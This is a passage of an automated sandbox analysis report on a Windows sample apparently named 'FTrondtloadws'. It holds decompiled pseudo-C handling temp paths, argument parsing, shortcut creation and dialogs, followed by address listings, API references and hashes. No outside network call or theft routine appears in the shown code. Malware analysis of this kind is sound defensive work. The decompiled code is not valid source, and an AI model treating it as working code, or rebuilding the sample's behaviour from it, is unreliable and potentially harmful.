										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										 *0xd21ccc = E00CDC51E(__ecx, __edx, __eflags);
									}
									 *0xd20cba = 1;
									goto L175;
								case 9:
									L132:
									__eflags = __ebx - 6;
									if(__ebx != 6) {
										goto L175;
									}
									L133:
									__eax = 0;
									 *(__ebp - 0x2844) = __ax;
									__eax =  *(__ebp - 0x1b894) & 0x0000ffff;
									__eax = E00CE8C2C( *(__ebp - 0x1b894) & 0x0000ffff);
									__eflags = __eax - 0x50;
									if(__eax == 0x50) {
										 *(__ebp - 0x14) = 2;
										__eax = 0xd0f482;
									} else {
										__eflags = __eax - 0x54;
										if(__eax == 0x54) {
											 *(__ebp - 0x14) = 7;
											__eax = 0xd0e482;
										} else {
											 *(__ebp - 0x14) = 0x10;
											__eax = 0xd10482;
										}
									}
									__esi = 0x800;
									__ebp - 0x2844 = E00CD1908(__ebp - 0x2844, __ebp - 0x2844, 0x800);
									__eax = 0;
									 *(__ebp - 0x9894) = __ax;
									 *(__ebp - 0x1844) = __ax;
									__ebp - 0x19894 = __ebp - 0x688c;
									__eax = E00CD1908(__ebp - 0x688c, __ebp - 0x19894, 0x800);
									_push(0x22);
									_pop(__ebx);
									__eflags =  *(__ebp - 0x688c) - __bx;
									if( *(__ebp - 0x688c) != __bx) {
										L141:
										__ebp - 0x688c = E00CCB4A1(__ebp - 0x688c);
										__eflags = __al;
										if(__al != 0) {
											goto L160;
										}
										L142:
										__ax =  *(__ebp - 0x688c);
										__esi = __ebp - 0x688c;
										__ebx = __edi;
										__eflags = __ax;
										if(__ax == 0) {
											L159:
											__esi = 0x800;
											goto L160;
										}
										L143:
										__edi = __ax & 0x0000ffff;
										do {
											L144:
											_push(0x20);
											_pop(__eax);
											__eflags = __di - __ax;
											if(__di == __ax) {
												L146:
												__eax = 0;
												__esi->i = __ax;
												__ebp - 0x688c = E00CCB4A1(__ebp - 0x688c);
												__eflags = __al;
												if(__al == 0) {
													L155:
													__esi->i = __di;
													goto L156;
												}
												L147:
												__ebp - 0x688c = E00CCB4B3(__ebp - 0x688c);
												__eax = E00CCB4FF(__eax);
												__eflags = __al;
												if(__al != 0) {
													goto L155;
												}
												L148:
												_push(0x2f);
												_pop(__ecx);
												__eax =  &(__esi->i);
												__ebx = __esi;
												__eflags = __di - __cx;
												if(__di != __cx) {
													L150:
													_push(0x20);
													__esi = __eax;
													_pop(__eax);
													while(1) {
														L152:
														__eflags = __esi->i - __ax;
														if(__esi->i != __ax) {
															break;
														}
														L151:
														__esi =  &(__esi->i);
														__eflags = __esi;
													}
													L153:
													__ecx = __ebp - 0x1844;
													__eax = __esi;
													__edx = 0x400;
													L154:
													__eax = E00CD1908(__ecx, __eax, __edx);
													 *__ebx = __di;
													goto L156;
												}
												L149:
												 *(__ebp - 0x1844) = __cx;
												__edx = 0x3ff;
												__ecx = __ebp - 0x1842;
												goto L154;
											}
											L145:
											_push(0x2f);
											_pop(__eax);
											__eflags = __di - __ax;
											if(__di != __ax) {
												goto L156;
											}
											goto L146;
											L156:
											__esi =  &(__esi->i);
											__eax = __esi->i & 0x0000ffff;
											__edi = __esi->i & 0x0000ffff;
											__eflags = __ax;
										} while (__ax != 0);
										__esi = 0x800;
										__eflags = __ebx;
										if(__ebx != 0) {
											__eax = 0;
											 *__ebx = __ax;
										}
										goto L160;
									} else {
										L139:
										__ebp - 0x19892 = __ebp - 0x688c;
										E00CD1908(__ebp - 0x688c, __ebp - 0x19892, 0x800) = __ebp - 0x688a;
										__eax = E00CE31FC(__ebp - 0x688a, __ebx);
										_pop(__ecx);
										_pop(__ecx);
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = 0;
											 *__eax = __cx;
											__ebp - 0x1844 = E00CD1908(__ebp - 0x1844, __ebp - 0x1844, 0x400);
										}
										L160:
										__eflags =  *((short*)(__ebp - 0x11894));
										if( *((short*)(__ebp - 0x11894)) != 0) {
											__ebp - 0x9894 = __ebp - 0x11894;
											__eax = E00CCCAB4(__ebp - 0x11894, __ebp - 0x9894, __esi);
										}
										__ebp - 0xb894 = __ebp - 0x688c;
										__eax = E00CCCAB4(__ebp - 0x688c, __ebp - 0xb894, __esi);
										__eflags =  *(__ebp - 0x2844);
										if(__eflags == 0) {
											__ebp - 0x2844 = E00CDC4B5(__ecx, __ebp - 0x2844,  *(__ebp - 0x14));
										}
										__ebp - 0x2844 = E00CCCA80(__eflags, __ebp - 0x2844, __esi);
										__eflags =  *((short*)(__ebp - 0x17894));
										if(__eflags != 0) {
											__ebp - 0x17894 = __ebp - 0x2844;
											E00CD18E0(__eflags, __ebp - 0x2844, __ebp - 0x17894, __esi) = __ebp - 0x2844;
											__eax = E00CCCA80(__eflags, __ebp - 0x2844, __esi);
										}
										__ebp - 0x2844 = __ebp - 0xc894;
										__eax = E00CD1908(__ebp - 0xc894, __ebp - 0x2844, __esi);
										__eflags =  *(__ebp - 0x13894);
										__eax = __ebp - 0x13894;
										if(__eflags == 0) {
											__eax = __ebp - 0x19894;
										}
										__ebp - 0x2844 = E00CD18E0(__eflags, __ebp - 0x2844, __ebp - 0x2844, __esi);
										__eax = __ebp - 0x2844;
										__eflags = E00CCCD3C(__ebp - 0x2844);
										if(__eflags == 0) {
											L170:
											__ebp - 0x2844 = E00CD18E0(__eflags, __ebp - 0x2844, L".lnk", __esi);
											goto L171;
										} else {
											L169:
											__eflags = __eax;
											if(__eflags == 0) {
												L171:
												__ebx = 0;
												__ebp - 0x2844 = E00CCB321(0, __ecx, __edi, __ebp, __ebp - 0x2844, 1, 0);
												__ebp - 0xb894 = __ebp - 0xa894;
												E00CD1908(__ebp - 0xa894, __ebp - 0xb894, __esi) = __ebp - 0xa894;
												__eax = E00CCD6D1(__eflags, __ebp - 0xa894);
												__esi =  *(__ebp - 0x9894) & 0x0000ffff;
												__eax = __ebp - 0x9894;
												__edx =  *(__ebp - 0x1844) & 0x0000ffff;
												__edi = __ebp - 0xa894;
												__ecx =  *(__ebp - 0x15894) & 0x0000ffff;
												__esi =  ~( *(__ebp - 0x9894) & 0x0000ffff);
												asm("sbb esi, esi");
												__esi =  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894;
												__edx =  ~( *(__ebp - 0x1844) & 0x0000ffff);
												__eax = __ebp - 0x1844;
												asm("sbb edx, edx");
												__edx =  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844;
												__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff);
												__eax = __ebp - 0x15894;
												asm("sbb ecx, ecx");
												__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894;
												 *(__ebp - 0xa894) & 0x0000ffff =  ~( *(__ebp - 0xa894) & 0x0000ffff);
												asm("sbb eax, eax");
												 ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi = __ebp - 0x2844;
												__ebp - 0xb894 = E00CDB46A( ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894, 0, __ebp - 0xb894, __ebp - 0x2844,  ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi, __ecx, __esi,  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844);
												__eflags =  *(__ebp - 0xc894) - __bx;
												if( *(__ebp - 0xc894) != __bx) {
													_push(0);
													__eax = __ebp - 0xc894;
													_push(__ebp - 0xc894);
													_push(5);
													_push(0x1000);
													__eax =  *0xd2508c();
												}
												goto L175;
											}
											goto L170;
										}
									}
								case 0xa:
									L173:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										 *0xd13898 = 1;
									}
									goto L175;
								case 0xb:
									L81:
									__eax =  *(__ebp - 0x588c) & 0x0000ffff;
									__eax = E00CE8C2C( *(__ebp - 0x588c) & 0x0000ffff);
									__eflags = __eax - 0x46;
									if(__eax == 0x46) {
										 *0xd0a479 = 1;
									} else {
										__eflags = __eax - 0x55;
										if(__eax == 0x55) {
											 *0xd0a47a = 1;
										} else {
											__eax = 0;
											 *0xd0a479 = __al;
											 *0xd0a47a = __al;
										}
									}
									goto L175;
								case 0xc:
									L104:
									 *0xd21cd8 = 1;
									__eax = __eax + 0xd21cd8;
									_t117 = __esi + 0x39;
									 *_t117 =  *(__esi + 0x39) + __esp;
									__eflags =  *_t117;
									__ebp = 0xffffa774;
									if( *_t117 != 0) {
										_t119 = __ebp - 0x588c; // 0xffff4ee8
										__eax = _t119;
										 *0xd00728 = E00CD32D2(_t119);
									}
									goto L175;
							}
							L2:
							_push(0x1000);
							_push(_t293);
							_push(_t226);
							_t226 = E00CDC038();
							_t293 = _t293 + 0x2000;
							_t291 = _t291 - 1;
							if(_t291 != 0) {
								goto L2;
							} else {
								_t294 = _t291;
								goto L4;
							}
						}
						L176:
						 *[fs:0x0] =  *((intOrPtr*)(_t298 - 0xc));
						return _t225;
					}
					L111:
					__eflags =  *0xd20cb9 - __bl;
					if( *0xd20cb9 != __bl) {
						goto L175;
					}
					L112:
					__eax = 0;
					 *(__ebp - 0x444) = __ax;
					__eax = __ebp - 0x588c;
					__eax = E00CE31FC(__ebp - 0x588c, 0x2c);
					__eflags = __eax;
					if(__eax != 0) {
						L119:
						__eflags =  *(__ebp - 0x444) - __bx;
						if( *(__ebp - 0x444) == __bx) {
							__ebp - 0x1b894 = __ebp - 0x588c;
							E00CD1908(__ebp - 0x588c, __ebp - 0x1b894, 0x1000) = __ebp - 0x19894;
							__ebp - 0x444 = E00CD1908(__ebp - 0x444, __ebp - 0x19894, 0x200);
						}
						__ebp - 0x588c = E00CDBE72(__ebp - 0x588c);
						__eax = 0;
						 *(__ebp - 0x488c) = __ax;
						__ebp - 0x444 = __ebp - 0x588c;
						__eax = E00CDB7C4( *(__ebp + 8), __ebp - 0x588c, __ebp - 0x444, 0x24);
						__eflags = __eax - 6;
						if(__eax != 6) {
							__eax = 0;
							 *0xd0a46c = 1;
							 *0xd12892 = __ax;
							__eax = EndDialog( *(__ebp + 8), 1);
						}
						goto L175;
					}
					L113:
					__ax =  *(__ebp - 0x588c);
					__esi = __ebx;
					__eflags = __ax;
					if(__ax == 0) {
						goto L119;
					}
					L114:
					while(1) {
						L115:
						__eflags = __cx - 0x40;
						if(__cx == 0x40) {
							break;
						}
						L116:
						__eax =  *(__ebp + __esi * 2 - 0x588a) & 0x0000ffff;
						__esi =  &(__esi->i);
						__eflags = __ax;
						if(__ax != 0) {
							continue;
						}
						L117:
						goto L119;
					}
					L118:
					__ebp - 0x588a = __ebp - 0x588a + __esi * 2;
					__ebp - 0x444 = E00CD1908(__ebp - 0x444, __ebp - 0x444, 0x200);
					__eax = 0;
					__eflags = 0;
					 *(__ebp + __esi * 2 - 0x588c) = __ax;
					goto L119;
					L123:
					__eflags = __ebx - 7;
					if(__ebx == 7) {
						__eflags =  *0xd13894 - 0x800;
						if( *0xd13894 == 0x800) {
							 *0xd13894 = 2;
						}
						 *0xd12890 = 1;
					}
					goto L175;
				}
			}

0x00cdde49
0x00cdde49
0x00cdde49
0x00cdde4c
0x00000000
0x00000000
0x00cdde52
0x00cdde52
0x00cdde58
0x00cdde66
0x00cdde6d
0x00cdde72
0x00cdde74
0x00cdde76
0x00cdde7b
0x00cdde7b
0x00cdde7b
0x00cdde93
0x00cddea0
0x00cddea5
0x00cddea7
0x00000000
0x00000000
0x00cdde79
0x00cdde79
0x00cdde79
0x00cdde7a
0x00cdde7a
0x00cddea9
0x00cddeb3
0x00cddeb9
0x00cddec0
0x00cde39b
0x00cde39b
0x00cde39b
0x00cde3a0
0x00cde3a4
0x00cde3a8
0x00cde3af
0x00cde3b6
0x00cde3b9
0x00cde3be
0x00cde3c1
0x00cde3c6
0x00cdd757
0x00cdd75d
0x00cdd763
0x00cdd763
0x00000000
0x00000000
0x00000000
0x00000000
0x00cdd77d
0x00cdd794
0x00cdd798
0x00000000
0x00cdd79a
0x00000000
0x00cdd79a
0x00cdd798
0x00cdd79f
0x00cdd7a2
0x00000000
0x00000000
0x00cdd7a8
0x00cdd7a8
0x00000000
0x00cdd7af
0x00cdd7af
0x00cdd7b2
0x00cdd7c5
0x00cdd7eb
0x00cdd7ff
0x00cdd802
0x00cdd80d
0x00cdd951
0x00cdd951
0x00cdd951
0x00cdd95f
0x00cdd964
0x00cdd966
0x00000000
0x00000000
0x00cdd817
0x00cdd81f
0x00cdd825
0x00cdd82b
0x00cdd8d1
0x00cdd8d8
0x00cdd8de
0x00cdd8e1
0x00000000
0x00000000
0x00cdd8e3
0x00cdd8ea
0x00cdd8f0
0x00cdd8f2
0x00000000
0x00cdd8f4
0x00cdd8f4
0x00cdd8f6
0x00cdd8f7
0x00cdd8fb
0x00cdd90f
0x00cdd914
0x00cdd91e
0x00cdd924
0x00cdd927
0x00cdd8f9
0x00cdd8f9
0x00cdd8fa
0x00000000
0x00cdd929
0x00cdd937
0x00cdd93d
0x00cdd93f
0x00cdd94b
0x00cdd94b
0x00000000
0x00cdd93f
0x00cdd927
0x00cdd8f2
0x00cdd831
0x00cdd840
0x00cdd84d
0x00cdd85e
0x00cdd861
0x00cdd864
0x00cdd877
0x00cdd87e
0x00cdd883
0x00cdd885
0x00000000
0x00000000
0x00cdd88b
0x00cdd892
0x00cdd897
0x00cdd89c
0x00cdd8a8
0x00cdd8ad
0x00cdd8b0
0x00cdd8b7
0x00cdd8b9
0x00cdd8ba
0x00cdd8c4
0x00cdd8ca
0x00cdd8cb
0x00000000
0x00cdd8cb
0x00cdd866
0x00cdd86d
0x00cdd873
0x00cdd875
0x00000000
0x00000000
0x00000000
0x00cdd875
0x00cdd96c
0x00cdd96c
0x00cdd976
0x00cdd976
0x00000000
0x00000000
0x00cdd980
0x00cdd980
0x00cdd982
0x00000000
0x00cdd988
0x00cdd988
0x00cdd98d
0x00cdd98f
0x00cdd992
0x00cdd994
0x00cdd9a1
0x00cdd9a6
0x00cdd9a7
0x00cdd9a7
0x00cdd9a8
0x00cdd9ab
0x00cdd9ad
0x00cdd9b7
0x00cdd9ba
0x00cdd9c0
0x00cdd9c2
0x00cdd9af
0x00cdd9af
0x00cdd9af
0x00cdd9c7
0x00cdd9c9
0x00cdd9d2
0x00cdd9d2
0x00cdd9d4
0x00cdd9d5
0x00cdd9da
0x00cdd9e3
0x00cdd9e4
0x00cdd9ea
0x00cdd9ef
0x00cdd9f2
0x00cdd9f4
0x00cdda0d
0x00cdda0d
0x00cdda0f
0x00cdda16
0x00cdda1b
0x00000000
0x00cdda0f
0x00cdd9f6
0x00cdd9f6
0x00cdd9fb
0x00cdd9fd
0x00cdd9ff
0x00cdd9ff
0x00cdda01
0x00cdda01
0x00cdda04
0x00cdda06
0x00cdda0b
0x00cdda0c
0x00000000
0x00cdda0c
0x00000000
0x00cdda21
0x00cdda21
0x00cdda23
0x00cdda33
0x00cdda33
0x00000000
0x00000000
0x00cdda3e
0x00cdda3e
0x00cdda40
0x00000000
0x00000000
0x00cdda46
0x00cdda46
0x00cdda4d
0x00000000
0x00000000
0x00cdda53
0x00cdda53
0x00cdda55
0x00cdda5b
0x00cdda5d
0x00cdda64
0x00cdda65
0x00cdda6c
0x00cdda6e
0x00cdda6e
0x00cdda75
0x00cdda7a
0x00cdda80
0x00cdda82
0x00000000
0x00cdda88
0x00cdda88
0x00cdda88
0x00cdda8b
0x00cdda8d
0x00cdda8e
0x00cdda91
0x00cddaba
0x00cddaba
0x00cddabd
0x00cddba2
0x00cddbab
0x00cddbb0
0x00cddbb0
0x00cddbb2
0x00cddbb2
0x00cddbb4
0x00cddbb6
0x00cddbbd
0x00cddbc2
0x00cddbc3
0x00cddbc4
0x00cddbc6
0x00cddbc8
0x00cddbcc
0x00cddbce
0x00cddbce
0x00cddbd0
0x00cddbd0
0x00cddbcc
0x00cddbd4
0x00cddbda
0x00cddbe7
0x00cddbee
0x00cddbfe
0x00cddc08
0x00cddc16
0x00cddc1c
0x00cddc24
0x00cddc29
0x00cddc2a
0x00cddc2b
0x00cddc2d
0x00cddc41
0x00cddc41
0x00000000
0x00cddc2d
0x00cddac3
0x00cddac3
0x00cddac6
0x00cddad3
0x00cddad3
0x00cddad6
0x00cddad8
0x00cddad9
0x00cddadb
0x00cddadc
0x00cddae1
0x00cddae6
0x00cddaec
0x00cddaee
0x00cddaf0
0x00cddaf3
0x00cddafa
0x00cddafb
0x00cddb01
0x00cddb02
0x00cddb05
0x00cddb06
0x00cddb07
0x00cddb0c
0x00cddb0f
0x00cddb15
0x00cddb1e
0x00cddb21
0x00cddb26
0x00cddb28
0x00cddb2a
0x00cddb2c
0x00cddb2c
0x00cddb2e
0x00cddb2e
0x00cddb30
0x00cddb30
0x00cddb38
0x00cddb3f
0x00cddb41
0x00cddb48
0x00cddb4e
0x00cddb50
0x00cddb51
0x00cddb59
0x00cddb68
0x00cddb68
0x00cddb59
0x00cddb73
0x00cddb75
0x00cddb84
0x00cddb8a
0x00cddb90
0x00cddb9b
0x00cddb9b
0x00000000
0x00cddb90
0x00cddac8
0x00cddac8
0x00cddacd
0x00000000
0x00000000
0x00000000
0x00cddacd
0x00cdda93
0x00cdda93
0x00cdda97
0x00000000
0x00000000
0x00cdda99
0x00cdda99
0x00cdda9c
0x00cdda9e
0x00cddaa1
0x00000000
0x00000000
0x00cddaa7
0x00cddab0
0x00000000
0x00cddab0
0x00000000
0x00cddc4c
0x00cddc4c
0x00cddc4d
0x00cddc52
0x00cddc54
0x00cddc57
0x00cddc57
0x00000000
0x00cddc8d
0x00cddc8d
0x00cddc94
0x00cddc96
0x00cddc96
0x00cddc98
0x00cddcc7
0x00cddcc7
0x00cddccd
0x00000000
0x00cddccd
0x00cddc9a
0x00cddc9a
0x00cddc9a
0x00cddc9d
0x00cddcb6
0x00cddcb6
0x00cddcbc
0x00cddcbc
0x00000000
0x00cddcbc
0x00cddc9f
0x00cddc9f
0x00cddc9f
0x00cddca2
0x00000000
0x00000000
0x00cddca4
0x00cddca4
0x00cddca4
0x00cddca7
0x00000000
0x00000000
0x00cddcad
0x00cddcad
0x00000000
0x00000000
0x00cddd1a
0x00cddd1a
0x00cddd1c
0x00cddd23
0x00cddd24
0x00cddd2a
0x00cddd32
0x00cddd34
0x00cddd37
0x00cddde7
0x00cddde7
0x00cdddeb
0x00cdddfa
0x00cdddfa
0x00cdddfe
0x00000000
0x00000000
0x00cdde04
0x00cdde04
0x00cdde07
0x00000000
0x00000000
0x00cdde0d
0x00cdde0d
0x00cdde0d
0x00cdde0f
0x00cdde10
0x00cdde10
0x00cdde11
0x00cdde12
0x00cdde15
0x00000000
0x00cdde15
0x00cddded
0x00cddded
0x00cdddf0
0x00000000
0x00000000
0x00cdddf6
0x00cdddf6
0x00000000
0x00cdddf6
0x00cddd3d
0x00cddd3d
0x00cddd46
0x00cddd4b
0x00cddd4c
0x00cddd4d
0x00cddd4f
0x00cddde4
0x00cddde4
0x00000000
0x00cddde4
0x00cddd55
0x00cddd55
0x00cddd55
0x00cddd58
0x00cddd5b
0x00cddd5d
0x00cddd60
0x00cddd66
0x00cddd68
0x00cddd69
0x00cddd6f
0x00cddd70
0x00cddd75
0x00cddd78
0x00cddd7a
0x00000000
0x00000000
0x00cddd7c
0x00cddd7c
0x00cddd7e
0x00cddd7e
0x00cddd7e
0x00cddd86
0x00000000
0x00000000
0x00cddd88
0x00cddd8d
0x00cddd94
0x00cddd99
0x00cddda0
0x00cddda2
0x00cddda4
0x00cdddab
0x00cdddb0
0x00cdddb2
0x00cdddb4
0x00cdddb6
0x00cdddb6
0x00cdddbc
0x00cdddc3
0x00cdddc8
0x00cdddca
0x00cdddcc
0x00cdddce
0x00cdddce
0x00cdddcf
0x00cdddd1
0x00cdddd7
0x00cdddd8
0x00cdddde
0x00cddde0
0x00cddde2
0x00000000
0x00000000
0x00000000
0x00000000
0x00cddde2
0x00000000
0x00000000
0x00000000
0x00000000
0x00cddff2
0x00cddff2
0x00cddff5
0x00cddff7
0x00cddffe
0x00cde000
0x00cde006
0x00cde007
0x00cde00c
0x00cde00d
0x00cde00d
0x00cde012
0x00cde015
0x00cde01b
0x00cde01b
0x00cde020
0x00000000
0x00000000
0x00cde02c
0x00cde02c
0x00cde02f
0x00000000
0x00000000
0x00cde035
0x00cde035
0x00cde037
0x00cde03e
0x00cde046
0x00cde04c
0x00cde04f
0x00cde072
0x00cde079
0x00cde051
0x00cde051
0x00cde054
0x00cde064
0x00cde06b
0x00cde056
0x00cde056
0x00cde05d
0x00cde05d
0x00cde054
0x00cde07e
0x00cde08c
0x00cde091
0x00cde093
0x00cde09a
0x00cde0a9
0x00cde0b0
0x00cde0b5
0x00cde0b7
0x00cde0b8
0x00cde0bf
0x00cde10b
0x00cde112
0x00cde117
0x00cde119
0x00000000
0x00000000
0x00cde11f
0x00cde11f
0x00cde126
0x00cde12c
0x00cde12e
0x00cde131
0x00cde1e3
0x00cde1e3
0x00000000
0x00cde1e3
0x00cde137
0x00cde137
0x00cde13a
0x00cde13a
0x00cde13a
0x00cde13c
0x00cde13d
0x00cde140
0x00cde14a
0x00cde14a
0x00cde14c
0x00cde156
0x00cde15b
0x00cde15d
0x00cde1bf
0x00cde1bf
0x00000000
0x00cde1bf
0x00cde15f
0x00cde166
0x00cde16c
0x00cde171
0x00cde173
0x00000000
0x00000000
0x00cde175
0x00cde175
0x00cde177
0x00cde178
0x00cde17b
0x00cde17d
0x00cde180
0x00cde196
0x00cde196
0x00cde198
0x00cde19a
0x00cde1a0
0x00cde1a0
0x00cde1a0
0x00cde1a3
0x00000000
0x00000000
0x00cde19d
0x00cde19d
0x00cde19d
0x00cde19d
0x00cde1a5
0x00cde1a5
0x00cde1ab
0x00cde1ad
0x00cde1b2
0x00cde1b5
0x00cde1ba
0x00000000
0x00cde1ba
0x00cde182
0x00cde182
0x00cde189
0x00cde18e
0x00000000
0x00cde18e
0x00cde142
0x00cde142
0x00cde144
0x00cde145
0x00cde148
0x00000000
0x00000000
0x00000000
0x00cde1c2
0x00cde1c2
0x00cde1c5
0x00cde1c8
0x00cde1ca
0x00cde1ca
0x00cde1d3
0x00cde1d8
0x00cde1da
0x00cde1dc
0x00cde1de
0x00cde1de
0x00000000
0x00cde0c1
0x00cde0c1
0x00cde0c9
0x00cde0d5
0x00cde0dd
0x00cde0e2
0x00cde0e3
0x00cde0e4
0x00cde0e6
0x00cde0ec
0x00cde0ee
0x00cde101
0x00cde101
0x00cde1e8
0x00cde1e8
0x00cde1f0
0x00cde1fa
0x00cde201
0x00cde201
0x00cde20e
0x00cde215
0x00cde21a
0x00cde222
0x00cde22e
0x00cde22e
0x00cde23b
0x00cde240
0x00cde248
0x00cde252
0x00cde25f
0x00cde266
0x00cde266
0x00cde273
0x00cde27a
0x00cde27f
0x00cde287
0x00cde28d
0x00cde28f
0x00cde28f
0x00cde2a4
0x00cde2a9
0x00cde2b5
0x00cde2b7
0x00cde2c8
0x00cde2d5
0x00000000
0x00cde2b9
0x00cde2b9
0x00cde2c4
0x00cde2c6
0x00cde2da
0x00cde2da
0x00cde2e6
0x00cde2f3
0x00cde2ff
0x00cde306
0x00cde30b
0x00cde312
0x00cde318
0x00cde31f
0x00cde325
0x00cde32c
0x00cde32e
0x00cde330
0x00cde332
0x00cde334
0x00cde33a
0x00cde33c
0x00cde33e
0x00cde340
0x00cde346
0x00cde348
0x00cde352
0x00cde355
0x00cde35b
0x00cde36a
0x00cde36f
0x00cde376
0x00cde378
0x00cde379
0x00cde37f
0x00cde380
0x00cde382
0x00cde387
0x00cde387
0x00000000
0x00cde376
0x00000000
0x00cde2c6
0x00cde2b7
0x00000000
0x00cde38f
0x00cde38f
0x00cde392
0x00cde394
0x00cde394
0x00000000
0x00000000
0x00cddcd9
0x00cddcd9
0x00cddce1
0x00cddce7
0x00cddcea
0x00cddd0e
0x00cddcec
0x00cddcec
0x00cddcef
0x00cddd02
0x00cddcf1
0x00cddcf1
0x00cddcf3
0x00cddcf8
0x00cddcf8
0x00cddcef
0x00000000
0x00000000
0x00cdde1f
0x00cdde1f
0x00cdde20
0x00cdde25
0x00cdde25
0x00cdde25
0x00cdde28
0x00cdde2d
0x00cdde33
0x00cdde33
0x00cdde3f
0x00cdde3f
0x00000000
0x00000000
0x00cdd764
0x00cdd764
0x00cdd769
0x00cdd76a
0x00cdd76b
0x00cdd770
0x00cdd776
0x00cdd779
0x00000000
0x00cdd77b
0x00cdd77b
0x00000000
0x00cdd77b
0x00cdd779
0x00cde3cc
0x00cde3d2
0x00cde3da
0x00cde3da
0x00cddec6
0x00cddec6
0x00cddecc
0x00000000
0x00000000
0x00cdded2
0x00cdded2
0x00cdded4
0x00cddedb
0x00cddee4
0x00cddeeb
0x00cddeed
0x00cddf3d
0x00cddf3d
0x00cddf44
0x00cddf52
0x00cddf63
0x00cddf71
0x00cddf71
0x00cddf7d
0x00cddf82
0x00cddf84
0x00cddf94
0x00cddf9e
0x00cddfa3
0x00cddfa6
0x00cddfb1
0x00cddfb3
0x00cddfba
0x00cddfc0
0x00cddfc0
0x00000000
0x00cddfa6
0x00cddeef
0x00cddeef
0x00cddef6
0x00cddef8
0x00cddefb
0x00000000
0x00000000
0x00cddefd
0x00cddf00
0x00cddf00
0x00cddf00
0x00cddf04
0x00000000
0x00000000
0x00cddf06
0x00cddf06
0x00cddf0e
0x00cddf11
0x00cddf14
0x00000000
0x00000000
0x00cddf16
0x00000000
0x00cddf16
0x00cddf18
0x00cddf23
0x00cddf2e
0x00cddf33
0x00cddf33
0x00cddf35
0x00000000
0x00cddfcb
0x00cddfcb
0x00cddfce
0x00cddfd4
0x00cddfda
0x00cddfdc
0x00cddfdc
0x00cddfe6
0x00cddfe6
0x00000000
0x00cddfce

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00CDDE5F

Part of subcall function 00CCCA80: _wcslen.LIBCMT ref: 00CCCA86

_swprintf.LIBCMT ref: 00CDDE93

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

SetDlgItemTextW.USER32(?,00000066,00D12892), ref: 00CDDEB3
EndDialog.USER32(?,00000001), ref: 00CDDFC0

Strings

%s%s%u, xrefs: 00CDDE88

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 4f5822deedc42e47c0252e77289e7c14ce156d0443f5c045d2e24a17f4d4c90c
Instruction ID: 2b7628b63f21137485c5fdf7823732edd0edb504e10d56ba14bdcbf6bc89099b
Opcode Fuzzy Hash: 4f5822deedc42e47c0252e77289e7c14ce156d0443f5c045d2e24a17f4d4c90c
Instruction Fuzzy Hash: 8A415071900218AADF25EB90DC45FFE77ACEB54300F4080A7FA0AE7251DF719A459F61

Uniqueness

Uniqueness Score: -1.00%

Function 00CCCF12 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00CCCF12(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4096;
				short _v4100;
				void* _t32;
				long _t34;
				void* _t40;
				void* _t55;
				signed short* _t62;
				void* _t65;
				intOrPtr _t67;
				signed short* _t68;
				intOrPtr _t69;

				E00CDFE20(0x1000);
				_t68 = _a4;
				_t70 =  *_t68;
				if( *_t68 == 0) {
					L21:
					__eflags = 0;
					return 0;
				}
				E00CCD0A7(_t70, _t68);
				_t65 = E00CE4DF3(_t68);
				_t32 = E00CCD0D2(_t68);
				_t71 = _t32;
				if(_t32 == 0) {
					_t34 = GetCurrentDirectoryW(0x7ff,  &_v4100);
					__eflags = _t34;
					if(_t34 == 0) {
						goto L21;
					}
					__eflags = _t34 - 0x7ff;
					if(_t34 > 0x7ff) {
						goto L21;
					}
					__eflags = E00CCD18A( *_t68 & 0x0000ffff);
					if(__eflags == 0) {
						E00CCCA80(__eflags,  &_v4100, 0x800);
						_t40 = E00CE4DF3( &_v4100);
						_t67 = _a12;
						__eflags = _t67 - _t40 + _t65 + 4;
						if(_t67 <= _t40 + _t65 + 4) {
							goto L21;
						}
						E00CD1908(_a8, L"\\\\?\\", _t67);
						E00CD18E0(__eflags, _a8,  &_v4100, _t67);
						__eflags =  *_t68 - 0x2e;
						if(__eflags == 0) {
							__eflags = E00CCD18A(_t68[1] & 0x0000ffff);
							if(__eflags != 0) {
								_t68 =  &(_t68[2]);
							}
						}
						L16:
						_push(_t67);
						L5:
						_push(_t68);
						L6:
						_push(_a8);
						E00CD18E0(_t73);
						return 1;
					}
					_t14 = _t65 + 6; // 0x6
					_t67 = _a12;
					__eflags = _t67 - _t14;
					if(_t67 <= _t14) {
						goto L21;
					}
					E00CD1908(_a8, L"\\\\?\\", _t67);
					__eflags = 0;
					_v4096 = 0;
					E00CD18E0(0, _a8,  &_v4100, _t67);
					goto L16;
				}
				if(E00CCD0A7(_t71, _t68) == 0) {
					_t55 = 0x5c;
					__eflags =  *_t68 - _t55;
					if( *_t68 != _t55) {
						goto L21;
					}
